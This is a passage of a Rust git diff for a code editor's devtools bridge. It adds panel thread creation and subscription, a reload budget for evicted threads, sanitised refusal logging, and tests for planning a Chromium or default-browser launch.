+        Some(Self {
+            root: root.to_path_buf(),
+            epoch: state.root_epoch,
+            subscribe,
+        })
+    }
+
+    /// `None` when the session has closed: nobody is left to answer. Else why the answer may
+    /// not go out any more, or `Ok`.
+    fn settle(&self, id: &SessionId, cx: &mut App) -> Option<Result<(), ChannelError>> {
+        let state = global(cx).sessions.get(id)?;
+        if state.root_epoch != self.epoch {
+            return Some(Err(ChannelError::BadRequest {
+                detail: "the panel moved to another project",
+            }));
+        }
+        if self
+            .subscribe
+            .is_some_and(|subscribe| subscribe != state.subscribes)
+        {
+            return Some(Err(ChannelError::BadRequest {
+                detail: "a later subscribe replaced this one",
+            }));
+        }
+        if !DevtoolsProjects::global(cx).read(cx).is_open(&self.root) {
+            return Some(Err(ChannelError::ProjectClosed));
+        }
+        Some(Ok(()))
+    }
+}
+
+/// Creates a devtools thread of `root` and answers `created` once its agent is ready (R5.1);
+/// `devtools_threads` logs the creation with the root and the thread id.
+fn create_panel_thread(
+    id: &SessionId,
+    request_id: String,
+    root: &Path,
+    cx: &mut App,
+) -> &'static str {
+    let Some(in_flight) = InFlight::start(id, root, false, cx) else {
+        return "closed";
+    };
+    let creating = crate::devtools_threads::create(root, cx);
+    let session = id.clone();
+    cx.spawn(async move |cx| {
+        let created = creating.await;
+        cx.update(|cx| {
+            let scope = Scope::Panel(&in_flight.root);
+            let kind = "create_thread";
+            match (in_flight.settle(&session, cx), created) {
+                (None, _) => {}
+                (Some(Err(error)), created) => {
+                    let thread_id = created
+                        .as_ref()
+                        .ok()
+                        .map(|thread| thread.thread_id.as_str());
+                    refuse_request(
+                        &session,
+                        scope,
+                        kind,
+                        thread_id,
+                        Some(request_id),
+                        error,
+                        cx,
+                    );
+                }
+                (Some(Ok(())), Ok(thread))
+                    if crate::devtools_threads::is_devtools_of(
+                        &thread.thread_id,
+                        &in_flight.root,
+                        cx,
+                    ) =>
+                {
+                    send(
+                        &session,
+                        ServerMsg::Created {
+                            v: V2,
+                            id: request_id,
+                            thread,
+                        },
+                        cx,
+                    );
+                }
+                (Some(Ok(())), Ok(thread)) => {
+                    let thread_id = Some(thread.thread_id.as_str());
+                    let error = ChannelError::NotFound;
+                    refuse_request(
+                        &session,
+                        scope,
+                        kind,
+                        thread_id,
+                        Some(request_id),
+                        error,
+                        cx,
+                    );
+                }
+                // `devtools_threads` logged why the create failed.
+                (Some(Ok(())), Err(error)) => {
+                    reply_error(&session, Some(request_id), devtools_error(&error), cx);
+                }
+            }
+        });
+    })
+    .detach();
+    "creating"
+}
+
+/// Subscribes the panel to `thread_id` when it is a devtools thread of `root`, loading a
+/// persisted one first (R5.6); anything else is `not_found`, the same answer whether the thread
+/// is the editor's, another project's, archived or missing (R5.5). A thread whose reload budget
+/// is spent is `agent_start_failed` until the budget's interval has passed, and is not loaded.
+fn subscribe_panel(
+    id: &SessionId,
+    request_id: String,
+    thread_id: String,
+    root: &Path,
+    cx: &mut App,
+) -> &'static str {
+    let Some(in_flight) = InFlight::start(id, root, true, cx) else {
+        return "closed";
+    };
+    let scope = Scope::Panel(root);
+    if !crate::devtools_threads::is_devtools_of(&thread_id, root, cx) {
+        let error = ChannelError::NotFound;
+        return refuse_request(
+            id,
+            scope,
+            "subscribe",
+            Some(&thread_id),
+            Some(request_id),
+            error,
+            cx,
+        );
+    }
+    // Retention released this thread more often than [`ReloadBudget`] allows: loading it for the
+    // panel's re-subscribe would only feed the next release (design.md §B4 Eviction). Once the
+    // budget's interval has passed, a `subscribe` loads it again.
+    let now = cx.background_executor().now();
+    let spent = global(cx)
+        .sessions
+        .get(id)
+        .is_some_and(|state| ReloadBudget::spent(state.reloads.get(&thread_id), now));
+    if spent {
+        let error = ChannelError::AgentStartFailed;
+        return refuse_request(
+            id,
+            scope,
+            "subscribe",
+            Some(&thread_id),
+            Some(request_id),
+            error,
+            cx,
+        );
+    }
+    if let Some(located) = find_thread(&thread_id, cx) {
+        pin(id, thread_id, located, Some(request_id), cx);
+        return "snapshot";
+    }
+    let loading = crate::devtools_threads::ensure_loaded(&thread_id, cx);
+    let session = id.clone();
+    cx.spawn(async move |cx| {
+        let loaded = loading.await;
+        cx.update(|cx| {
+            let scope = Scope::Panel(&in_flight.root);
+            let refused = match in_flight.settle(&session, cx) {
+                None => return,
+                Some(Err(error)) => Some(error),
+                // Archived, or its mark gone, while it loaded.
+                Some(Ok(()))
+                    if !crate::devtools_threads::is_devtools_of(
+                        &thread_id,
+                        &in_flight.root,
+                        cx,
+                    ) =>
+                {
+                    Some(ChannelError::NotFound)
+                }
+                Some(Ok(())) => None,
+            };
+            if let Some(error) = refused {
+                let thread = Some(thread_id.as_str());
+                refuse_request(
+                    &session,
+                    scope,
+                    "subscribe",
+                    thread,
+                    Some(request_id),
+                    error,
+                    cx,
+                );
+                return;
+            }
+            match loaded_thread(&thread_id, loaded, cx) {
+                Ok(located) => pin(&session, thread_id, located, Some(request_id), cx),
+                // `devtools_threads` logged why the load failed.
+                Err(error) => {
+                    reply_error(&session, Some(request_id), error, cx);
+                }
+            }
+        });
+    })
+    .detach();
+    "loading"
+}
+
+/// Streams `located`, the devtools thread `thread_id`, to the panel session `id`, with a snapshot
+/// echoing `request_id` when a `subscribe` asked for it.
+fn pin(
+    id: &SessionId,
+    thread_id: String,
+    located: Located,
+    request_id: Option<String>,
+    cx: &mut App,
+) {
+    install_hooks(cx);
+    attach(id, Target::Pinned(thread_id), Some(located), request_id, cx);
+}
+
+/// The thread `ensure_loaded` loaded, open in a window; a failed load is its devtools error.
+fn loaded_thread(thread_id: &str, loaded: Result<()>, cx: &App) -> Result<Located, ChannelError> {
+    loaded
+        .map_err(|error| devtools_error(&error))
+        .and_then(|()| find_thread(thread_id, cx).ok_or(ChannelError::AgentStartFailed))
+}
+
+/// The wire answer for a failed create or load: the devtools error's own code, else
+/// `agent_start_failed`, never `not_found` for a thread that is the panel's (R5.8).
+fn devtools_error(error: &anyhow::Error) -> ChannelError {
+    error
+        .downcast_ref::<DevtoolsThreadError>()
+        .map_or(ChannelError::AgentStartFailed, |error| {
+            error.channel_error()
+        })
+}
+
+/// Answers `request_id` with `error`. A panel's refusal is logged with its root and the thread it
+/// named, never with what the request carried (R9.1-R9.2).
+fn refuse_request(
+    id: &SessionId,
+    scope: Scope,
+    kind: &str,
+    thread_id: Option<&str>,
+    request_id: Option<String>,
+    error: ChannelError,
+    cx: &mut App,
+) -> &'static str {
+    if let Scope::Panel(root) = scope {
+        let thread = thread_id
+            .or_else(|| bound_thread(id, cx))
+            .map_or_else(|| "none".to_string(), loggable_thread_id);
+        log_line(
+            log::Level::Info,
+            format!(
+                "devtools_bridge event=panel_refused root={} session={id} kind={kind} \
+                 thread={thread} error={}",
+                loggable_root(root),
+                error.code()
+            ),
+        );
+    }
+    reply_error(id, request_id, error, cx)
+}
+
+/// The thread id session `id` subscribed to, if any.
+fn bound_thread<'a>(id: &SessionId, cx: &'a mut App) -> Option<&'a str> {
+    match &global(cx).sessions.get(id)?.stream.as_ref()?.target {
+        Target::Pinned(thread_id) => Some(thread_id.as_str()),
+        Target::Follow => None,
+    }
+}
+
+/// A thread id a peer sent, as a log value: at most 64 characters, each an ASCII letter, digit
+/// or `-` (what a `ThreadId` is written with), anything else replaced by `_`.
+fn loggable_thread_id(raw: &str) -> String {
+    let shown: String = raw
+        .chars()
+        .take(SHOWN_THREAD_ID_CHARS)
+        .map(|char| {
+            if char.is_ascii_alphanumeric() || char == '-' {
+                char
+            } else {
+                '_'
+            }
+        })
+        .collect();
+    if shown.is_empty() {
+        "none".to_string()
+    } else {
+        shown
+    }
+}
+
 // ---------------------------------------------------------------------------------------------
 // Listing, following and streaming (R5, R6)
 
@@ -997,6 +1570,47 @@ struct Stream {
     attached: Option<Attached>,
 }
 
+/// How often retention may release a panel's devtools thread and have it loaded again: at most
+/// [`EVICTION_RELOADS`] reloads within [`EVICTION_RELOAD_INTERVAL`] of the first. One more
+/// release ends the stream with `thread_closed` and the panel re-subscribes (design.md §A3), so
+/// a thread the idle cap releases as soon as it is back never keeps the two chasing each other;
+/// the budget belongs to the session, so that `subscribe` does not refill it. A single burst can
+/// release it more than once: changing the cap, then retaining the thread the editor left, each
+/// run the cleanup.
+#[derive(Clone, Copy)]
+struct ReloadBudget {
+    /// The first reload of the interval, on the executor's clock.
+    since: Instant,
+    count: u32,
+}
+
+const EVICTION_RELOADS: u32 = 3;
+const EVICTION_RELOAD_INTERVAL: Duration = crate::devtools_threads::CONNECT_TIMEOUT;
+
+impl ReloadBudget {
+    fn current(&self, now: Instant) -> bool {
+        now.saturating_duration_since(self.since) < EVICTION_RELOAD_INTERVAL
+    }
+
+    fn spent(budget: Option<&Self>, now: Instant) -> bool {
+        budget.is_some_and(|budget| budget.current(now) && budget.count >= EVICTION_RELOADS)
+    }
+
+    /// `budget` after one more reload at `now`.
+    fn after_reload(budget: Option<&Self>, now: Instant) -> Self {
+        match budget {
+            Some(budget) if budget.current(now) => Self {
+                since: budget.since,
+                count: budget.count + 1,
+            },
+            _ => Self {
+                since: now,
+                count: 1,
+            },
+        }
+    }
+}
+
 /// The thread a session streams. Dropping it drops the thread subscription and every pending
 /// update timer.
 struct Attached {
@@ -1279,6 +1893,12 @@ fn find_thread(thread_id: &str, cx: &App) -> Option<Located> {
         .find(|located| located.thread_id.to_key_string() == thread_id)
 }
 
+/// What `list_threads` says about the thread `view` holds, never as the followed one; `None`
+/// until its connection has a root thread. Devtools threads use it (story 055, design.md §B3).
+pub(crate) fn thread_info_of(view: &Entity<ConversationView>, cx: &App) -> Option<ThreadInfo> {
+    locate(view, cx).map(|located| thread_info(&located, false, cx))
+}
+
 fn thread_info(located: &Located, followed: bool, cx: &App) -> ThreadInfo {
     let thread = located.thread.read(cx);
     let project = thread
@@ -1408,7 +2028,7 @@ fn received_markdown(content: &MessageContent, cx: &App) -> String {
 const TITLE_BYTES: usize = 4 * 1024;
 
 /// `text` cut to [`TITLE_BYTES`] on a character boundary, with an ellipsis when cut.
-fn capped_title(text: &str) -> String {
+pub(crate) fn capped_title(text: &str) -> String {
     if text.len() <= TITLE_BYTES {
         return text.to_string();
     }
@@ -1886,6 +2506,7 @@ fn review_streams(cx: &mut App) {
         .map(|(id, _)| id.clone())
         .collect();
     for id in closed {
+        let reload = eviction_reload(&id, cx);
         if let Some(stream) = global(cx)
             .sessions
             .get_mut(&id)
@@ -1893,6 +2514,10 @@ fn review_streams(cx: &mut App) {
         {
             stream.attached = None;
         }
+        if let Some(reload) = reload {
+            reload_panel_stream(id, reload, cx);
+            continue;
+        }
         if stream_send(&id, ServerMsg::ThreadClosed { v: V2 }, cx) {
             log_line(
                 log::Level::Debug,
@@ -1956,6 +2581,94 @@ fn review_streams(cx: &mut App) {
     }
 }
 
+/// A panel's devtools thread to load again because retention released it (design.md §B4
+/// Eviction).
+struct Reload {
+    root: PathBuf,
+    thread_id: String,
+    /// The stream it belongs to; a later `subscribe` makes the reload bind nothing.
+    generation: u64,
+}
+
+/// What reloading session `id`'s released thread needs, when `id` is a panel whose pinned thread
+/// is still a devtools thread of its root and whose [`ReloadBudget`] is not spent. Anything else
+/// ends the stream with `thread_closed`, as for an extension (045).
+fn eviction_reload(id: &SessionId, cx: &mut App) -> Option<Reload> {
+    let now = cx.background_executor().now();
+    let state = global(cx).sessions.get(id)?;
+    // Set by a panel's `hello` only, and a session never changes kind.
+    let root = state.panel_root.clone()?;
+    let stream = state.stream.as_ref()?;
+    let Target::Pinned(thread_id) = &stream.target else {
+        return None;
+    };
+    let spent = ReloadBudget::spent(state.reloads.get(thread_id), now);
+    let reload = Reload {
+        root,
+        thread_id: thread_id.clone(),
+        generation: stream.generation,
+    };
+    (!spent && crate::devtools_threads::is_devtools_of(&reload.thread_id, &reload.root, cx))
+        .then_some(reload)
+}
+
+/// Loads the panel's released devtools thread again in the background and puts the stream back
+/// on it with a fresh snapshot; the panel is not told the thread closed. A load that fails ends
+/// the stream with `thread_closed`, and the panel re-subscribes (design.md §A3). Entered from a
+/// deferred review, at top level (GOTCHA G17).
+fn reload_panel_stream(id: SessionId, reload: Reload, cx: &mut App) {
+    let loading = crate::devtools_threads::ensure_loaded(&reload.thread_id, cx);
+    cx.spawn(async move |cx| {
+        let loaded = loading.await;
+        cx.update(|cx| finish_reload(&id, reload, loaded, cx));
+    })
+    .detach();
+}
+
+fn finish_reload(id: &SessionId, reload: Reload, loaded: Result<()>, cx: &mut App) {
+    // Unsubscribed, re-subscribed or closed while the thread loaded: nothing to put back.
+    let waiting = global(cx)
+        .sessions
+        .get(id)
+        .and_then(|state| state.stream.as_ref())
+        .is_some_and(|stream| stream.generation == reload.generation && stream.attached.is_none());
+    if !waiting {
+        return;
+    }
+    let root = loggable_root(&reload.root);
+    let thread = loggable_thread_id(&reload.thread_id);
+    match loaded_thread(&reload.thread_id, loaded, cx) {
+        Ok(located) => {
+            let now = cx.background_executor().now();
+            if let Some(state) = global(cx).sessions.get_mut(id) {
+                let reloads = ReloadBudget::after_reload(state.reloads.get(&reload.thread_id), now);
+                state.reloads.retain(|_, budget| budget.current(now));
+                state.reloads.insert(reload.thread_id.clone(), reloads);
+            }
+            pin(id, reload.thread_id, located, None, cx);
+            log_line(
+                log::Level::Debug,
+                format!(
+                    "devtools_bridge event=panel_stream_reloaded root={root} session={id} \
+                     thread={thread}"
+                ),
+            );
+        }
+        Err(error) => {
+            if stream_send(id, ServerMsg::ThreadClosed { v: V2 }, cx) {
+                log_line(
+                    log::Level::Warn,
+                    format!(
+                        "devtools_bridge event=panel_stream_reload_failed root={root} \
+                         session={id} thread={thread} error={}",
+                        error.code()
+                    ),
+                );
+            }
+        }
+    }
+}
+
 // ---------------------------------------------------------------------------------------------
 // Driving a thread: send, stop, authorize, open in Zeo (R7, R5.7)
 
@@ -1972,22 +2685,35 @@ struct Driven {
 
 /// The thread session `id` acts on: the one it streams, else the followed one (a session that
 /// never subscribed follows). A pinned thread that closed is `thread_closed`; nothing to follow
-/// is `no_thread`.
-fn driven_thread(id: &SessionId, cx: &mut App) -> Result<Driven, ChannelError> {
+/// is `no_thread`. A panel never follows: with no subscription it is `no_thread`, and a thread
+/// that stopped being a devtools thread of its root (archived since) is `not_found` (R5.5).
+fn driven_thread(id: &SessionId, scope: Scope, cx: &mut App) -> Result<Driven, ChannelError> {
     let (pinned, attached) = match global(cx)
         .sessions
         .get(id)
         .and_then(|state| state.stream.as_ref())
     {
         Some(stream) => (
-            matches!(stream.target, Target::Pinned(_)),
+            match &stream.target {
+                Target::Pinned(thread_id) => Some(thread_id.clone()),
+                Target::Follow => None,
+            },
             stream
                 .attached
                 .as_ref()
                 .and_then(|attached| attached.thread.upgrade()),
         ),
-        None => (false, None),
+        None => (None, None),
     };
+    if let Scope::Panel(root) = scope {
+        let Some(thread_id) = &pinned else {
+            return Err(ChannelError::NoThread);
+        };
+        if !crate::devtools_threads::is_devtools_of(thread_id, root, cx) {
+            return Err(ChannelError::NotFound);
+        }
+    }
+    let pinned = pinned.is_some();
     let thread = match attached {
         Some(thread) => thread,
         None if pinned => return Err(ChannelError::ThreadClosed),
@@ -2029,17 +2755,26 @@ fn holder_of(thread: &Entity<AcpThread>, cx: &App) -> Option<Driven> {
 /// composer: a detached composer of the thread gets the text, one browser chip per element and
 /// capture, and the images when the agent takes them, then goes through the thread view's
 /// queue-or-send path (R7.1–R7.3, R7.9, R10.5). Answered once the thread has taken the message
-/// or it is in Zeo's queue.
-fn send_message(id: &SessionId, request: SendRequest, cx: &mut App) -> &'static str {
+/// or it is in Zeo's queue. A panel's send is logged with its root and thread id (R9.1).
+fn send_message(id: &SessionId, scope: Scope, request: SendRequest, cx: &mut App) -> &'static str {
     let SendRequest {
         id: request_id,
         text,
         attachments,
         ..
     } = request;
-    let driven = match driven_thread(id, cx) {
+    let driven = match driven_thread(id, scope, cx) {
         Ok(driven) => driven,
-        Err(error) => return reply_error(id, Some(request_id), error, cx),
+        Err(error) => return refuse_request(id, scope, "send", None, Some(request_id), error, cx),
+    };
+    // The fields every line about this send starts with; never the text or a page URL (R9.2).
+    let event = match scope {
+        Scope::Extension => format!("event=browser_send session={id}"),
+        Scope::Panel(root) => format!(
+            "event=panel_send root={} session={id} thread={}",
+            loggable_root(root),
+            driven.thread_id.to_key_string()
+        ),
     };
     let attachment_count = attachments.len();
     let mut contents = Vec::new();
@@ -2064,7 +2799,9 @@ fn send_message(id: &SessionId, request: SendRequest, cx: &mut App) -> &'static
     let images = if sent_images == SentImages::Included {
         match decode_images(&images) {
             Ok(images) => images,
-            Err(error) => return send_failed(id, request_id, &error, "image_undecodable", cx),
+            Err(error) => {
+                return send_failed(id, &event, request_id, &error, "image_undecodable", cx);
+            }
         }
     } else {
         Vec::new()
@@ -2093,7 +2830,7 @@ fn send_message(id: &SessionId, request: SendRequest, cx: &mut App) -> &'static
         Ok(composed) => composed,
         Err(error) => {
             let error = error.context("composing the message");
-            return send_failed(id, request_id, &error, "compose_failed", cx);
+            return send_failed(id, &event, request_id, &error, "compose_failed", cx);
         }
     };
 
@@ -2150,14 +2887,14 @@ fn send_message(id: &SessionId, request: SendRequest, cx: &mut App) -> &'static
                 log_line(
                     log::Level::Info,
                     format!(
-                        "devtools_bridge event=browser_send session={session} outcome=sent \
-                         queued={queued} images={} attachments={attachment_count}",
+                        "devtools_bridge {event} outcome=sent queued={queued} images={} \
+                         attachments={attachment_count}",
                         sent_images_code(sent_images)
                     ),
                 );
             }
             Err(error) => {
-                send_failed(&session, request_id, &error, "attach_failed", cx);
+                send_failed(&session, &event, request_id, &error, "attach_failed", cx);
             }
         });
     })
@@ -2197,9 +2934,11 @@ fn sent_images_code(images: SentImages) -> &'static str {
 }
 
 /// Answers `send_failed` with what failed after the contract's message, so the sidebar can say
-/// why. The log line carries only `reason`, a fixed code: the error may quote the message.
+/// why. The log line carries `event`, the send's fields, and `reason`, a fixed code: the error
+/// may quote the message.
 fn send_failed(
     id: &SessionId,
+    event: &str,
     request_id: String,
     error: &anyhow::Error,
     reason: &'static str,
@@ -2219,18 +2958,18 @@ fn send_failed(
     );
     log_line(
         log::Level::Warn,
-        format!(
-            "devtools_bridge event=browser_send session={id} outcome=send_failed reason={reason}"
-        ),
+        format!("devtools_bridge {event} outcome=send_failed reason={reason}"),
     );
     error_code.code()
 }
 
 /// Stops the thread's turn as the window's Stop does, which also pauses Zeo's queue (R7.4).
-fn cancel(id: &SessionId, request_id: String, cx: &mut App) -> &'static str {
-    let driven = match driven_thread(id, cx) {
+fn cancel(id: &SessionId, scope: Scope, request_id: String, cx: &mut App) -> &'static str {
+    let driven = match driven_thread(id, scope, cx) {
         Ok(driven) => driven,
-        Err(error) => return reply_error(id, Some(request_id), error, cx),
+        Err(error) => {
+            return refuse_request(id, scope, "cancel", None, Some(request_id), error, cx);
+        }
     };
     let outcome = driven
         .view
@@ -2288,14 +3027,17 @@ fn cancel(id: &SessionId, request_id: String, cx: &mut App) -> &'static str {
 /// changes nothing.
 fn authorize(
     id: &SessionId,
+    scope: Scope,
     request_id: String,
     permission: &str,
     option_id: &str,
     cx: &mut App,
 ) -> &'static str {
-    let driven = match driven_thread(id, cx) {
+    let driven = match driven_thread(id, scope, cx) {
         Ok(driven) => driven,
-        Err(error) => return reply_error(id, Some(request_id), error, cx),
+        Err(error) => {
+            return refuse_request(id, scope, "authorize", None, Some(request_id), error, cx);
+        }
     };
     let found = driven
         .thread
@@ -2406,7 +3148,7 @@ fn open_in_zeo(
     app_state: Arc<AppState>,
     cx: &mut App,
 ) -> &'static str {
-    let driven = match driven_thread(id, cx) {
+    let driven = match driven_thread(id, Scope::Extension, cx) {
         Ok(driven) => driven,
         Err(error) => return reply_error(id, Some(request_id), error, cx),
     };
@@ -2528,6 +3270,31 @@ fn send(id: &SessionId, msg: ServerMsg, cx: &mut App) {
     }
 }
 
+/// Sends `msg` to session `id`, failing when the session is unknown here or its sink has closed.
+pub(crate) fn send_to_session(
+    id: &SessionId,
+    msg: ServerMsg,
+    cx: &mut App,
+) -> Result<(), SessionClosed> {
+    global(cx)
+        .sessions
+        .get(id)
+        .ok_or(SessionClosed)?
+        .sink
+        .send(msg)
+}
+
+fn log_hello(id: &SessionId, client: &str, outcome: &str, started: Instant) {
+    log_line(
+        log::Level::Debug,
+        format!(
+            "devtools_bridge event=session_msg session={id} kind=hello client={client} \
+             outcome={outcome} ms={}",
+            started.elapsed().as_millis()
+        ),
+    );
+}
+
 /// Answers `request_id` with `error`; returns the error's code for the log line.
 fn reply_error(
     id: &SessionId,
@@ -2541,7 +3308,7 @@ fn reply_error(
 
 /// Logs one of this module's event lines. Tests read back the lines their own thread logged:
 /// installing a `log` logger is not possible in a test binary that already has one.
-fn log_line(level: log::Level, line: String) {
+pub(crate) fn log_line(level: log::Level, line: String) {
     #[cfg(test)]
     LOGGED.with_borrow_mut(|lines| lines.push((level, line.clone())));
     log::log!(level, "{line}");
@@ -2572,9 +3339,51 @@ mod approval;
 #[path = "browser_channel_tests/cancel_outcome.rs"]
 mod cancel_outcome;
 #[cfg(test)]
+#[path = "browser_channel_tests/devtools_browser.rs"]
+mod devtools_browser;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_browser_guards.rs"]
+mod devtools_browser_guards;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_logs.rs"]
+mod devtools_logs;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_projects.rs"]
+mod devtools_projects;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_projects_logs.rs"]
+mod devtools_projects_logs;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_run_lifecycle.rs"]
+mod devtools_run_lifecycle;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_run_resolve.rs"]
+mod devtools_run_resolve;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_threads.rs"]
+mod devtools_threads;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_threads_idle_reload.rs"]
+mod devtools_threads_idle_reload;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_threads_list_gone.rs"]
+mod devtools_threads_list_gone;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_threads_paths.rs"]
+mod devtools_threads_paths;
+#[cfg(test)]
+#[path = "browser_channel_tests/devtools_threads_reopen.rs"]
+mod devtools_threads_reopen;
+#[cfg(test)]
 #[path = "browser_channel_tests/drive.rs"]
 mod drive;
 #[cfg(test)]
+#[path = "browser_channel_tests/panel_policy.rs"]
+mod panel_policy;
+#[cfg(test)]
+#[path = "browser_channel_tests/panel_policy_races.rs"]
+mod panel_policy_races;
+#[cfg(test)]
 #[path = "browser_channel_tests/status.rs"]
 mod status;
 #[cfg(test)]
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_browser.rs b/crates/agent_ui/src/browser_channel_tests/devtools_browser.rs
new file mode 100644
index 0000000..3bbf50d
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_browser.rs
@@ -0,0 +1,277 @@
+// Story 055, task 13.1 — `devtools: open in browser`, isolated or system (design.md §B6, §B7,
+// GOTCHA G6, G10). Requirements: R4.1, R4.2, R4.3, R4.4, R4.5, R4.6, R4.7 (Q4, Q5). Wired INSIDE
+// `src/browser_channel.rs` (path `browser_channel::devtools_browser::…`, filter
+// `cargo test -p agent_ui devtools_browser`):
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_browser.rs"]
+//     mod devtools_browser;
+//
+// Two levels:
+//   1. the launch PLAN, a pure decision, so no test spawns a browser or edits `$PATH` (a process
+//      variable shared by every parallel test). Assumed seam — named only in `plan()` below:
+//      `crate::devtools_browser::plan(target, url, data_dir, extension_dir, lookup) -> Launch`,
+//      `target: BrowserTarget::{Isolated, System}`, `lookup: &dyn Fn(&str) -> Option<PathBuf>`
+//      (the PATH search, injected), `Launch::Chromium { program, args }` or
+//      `Launch::Default { url, notice: Option<String> }`;
+//   2. the ACTION, end to end in a test window with `devtools.browser = system` — the opened URL
+//      is read back from gpui's test platform (`TestAppContext::opened_url`). Assumed seam — named
+//      only in `open_in_browser()` below: `crate::devtools_browser::open_in_browser(workspace,
+//      target: Option<BrowserTarget>, window, cx)`, `None` meaning "the setting decides" (R4.6).
+//
+// Hostile halves first:
+//   - `--load-extension` only for a directory that HOLDS a manifest.json: a set path without one
+//     (or no path) adds nothing — a flag pointing at an empty directory makes Chromium warn on
+//     every start;
+//   - `chromium-browser` counts when `chromium` is absent (Debian's name), and with neither the
+//     panel opens in the default browser WITH the R4.4 notice — never silently;
+//   - the explicit actions win over the setting in both directions (R4.6);
+//   - the URL fragment names the thread just CREATED for this project, never an existing one;
+//   - R4.7, the wait is bounded and its end is final: nothing at 59 s, at 60 s the open is cancelled
+//     with R1.6's notice and no browser — and an announce arriving AFTER that opens nothing (a
+//     timeout that only stopped waiting would still fire the late open).
+
+use std::path::{Path, PathBuf};
+
+use acp_thread::StubAgentConnection;
+use gpui::{TestAppContext, UpdateGlobal as _};
+use serde_json::{Value, json};
+
+use super::test_support::*;
+use crate::devtools_browser::{BrowserTarget, Launch};
+
+const PANEL: &str = "http://localhost:5174";
+
+/// (Some(program, args)) for a Chromium launch, or (None, url, notice) for the default browser.
+fn plan(
+    target: BrowserTarget,
+    on_path: &[&str],
+    extension: Option<&Path>,
+) -> (
+    Option<(PathBuf, Vec<String>)>,
+    Option<(String, Option<String>)>,
+) {
+    let on_path: Vec<String> = on_path.iter().map(|s| s.to_string()).collect();
+    let lookup = move |name: &str| {
+        on_path
+            .iter()
+            .any(|p| p == name)
+            .then(|| PathBuf::from(format!("/usr/bin/{name}")))
+    };
+    let url = format!("{PANEL}#thread=t-1");
+    match crate::devtools_browser::plan(target, &url, Path::new("/data/zeo"), extension, &lookup) {
+        Launch::Chromium { program, args } => (Some((program, args)), None),
+        Launch::Default { url, notice } => (None, Some((url, notice))),
+    }
+}
+
+#[test]
+fn isolated_chromium_gets_the_profile_no_first_run_and_the_app_url() {
+    let (chromium, _) = plan(BrowserTarget::Isolated, &["chromium"], None);
+    let (program, args) = chromium.expect("R4.3: Chromium");
+    assert_eq!(program, PathBuf::from("/usr/bin/chromium"));
+    assert!(
+        args.contains(&"--user-data-dir=/data/zeo/browser-profile".to_string()),
+        "{args:?}"
+    );
+    assert!(args.contains(&"--no-first-run".to_string()), "{args:?}");
+    assert!(
+        args.contains(&format!("--app={PANEL}#thread=t-1")),
+        "G10: the fragment is kept: {args:?}"
+    );
+}
+
+#[test]
+fn hostile_load_extension_only_for_a_directory_holding_a_manifest() {
+    let dir = tempfile::tempdir().expect("tempdir");
+    let empty = dir.path().join("empty");
+    std::fs::create_dir(&empty).expect("mkdir");
+    let real = dir.path().join("ext");
+    std::fs::create_dir(&real).expect("mkdir");
+    std::fs::write(real.join("manifest.json"), "{}").expect("write");
+
+    let missing = dir.path().join("missing");
+    for extension in [None, Some(empty.as_path()), Some(missing.as_path())] {
+        let (chromium, _) = plan(BrowserTarget::Isolated, &["chromium"], extension);
+        let (_, args) = chromium.expect("Chromium");
+        assert!(
+            !args.iter().any(|a| a.starts_with("--load-extension")),
+            "{extension:?}: {args:?}"
+        );
+    }
+    let (chromium, _) = plan(BrowserTarget::Isolated, &["chromium"], Some(real.as_path()));
+    let (_, args) = chromium.expect("Chromium");
+    assert!(
+        args.contains(&format!("--load-extension={}", real.display())),
+        "R4.3: {args:?}"
+    );
+}
+
+#[test]
+fn hostile_chromium_browser_counts_and_neither_falls_back_with_the_notice() {
+    let (chromium, _) = plan(BrowserTarget::Isolated, &["chromium-browser"], None);
+    assert_eq!(
+        chromium.map(|c| c.0),
+        Some(PathBuf::from("/usr/bin/chromium-browser"))
+    );
+    let (chromium, default) = plan(BrowserTarget::Isolated, &["google-chrome"], None);
+    assert!(
+        chromium.is_none(),
+        "Google Chrome ignores --load-extension (G10): not used"
+    );
+    let (url, notice) = default.expect("R4.4: the default browser");
+    assert_eq!(url, format!("{PANEL}#thread=t-1"));
+    assert_eq!(
+        notice.as_deref(),
+        Some("Chromium not found: opened in your default browser")
+    );
+}
+
+#[test]
+fn the_system_target_opens_the_default_browser_silently() {
+    let (chromium, default) = plan(BrowserTarget::System, &["chromium"], None);
+    assert!(chromium.is_none(), "R4.5: even with Chromium on PATH");
+    assert_eq!(default, Some((format!("{PANEL}#thread=t-1"), None)));
+}
+
+// ---- the action, end to end -------------------------------------------------------------------
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": PANEL
+        }
+    })
+}
+
+fn set_browser_setting(value: &str, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        settings::SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(&json!({ "devtools": { "browser": value } }).to_string(), cx)
+                .expect("the devtools settings parse");
+        });
+    });
+}
+
+fn open_in_browser(win: &mut Win, target: Option<BrowserTarget>) {
+    win.workspace
+        .update_in(&mut win.cx, |workspace, window, cx| {
+            crate::devtools_browser::open_in_browser(workspace, target, window, cx)
+        });
+    win.cx.run_until_parked();
+}
+
+#[gpui::test]
+async fn hostile_a_connected_project_opens_the_panel_on_a_new_devtools_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut win = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    set_browser_setting("system", cx);
+    let editor = crate::test_support::active_thread_id(&win.panel, &win.cx).to_key_string();
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app"), &win.app_state(), cx);
+    open_in_browser(&mut win, None);
+    let opened = cx
+        .opened_url()
+        .expect("R4.1/R4.5: the panel URL was opened");
+    let thread = opened
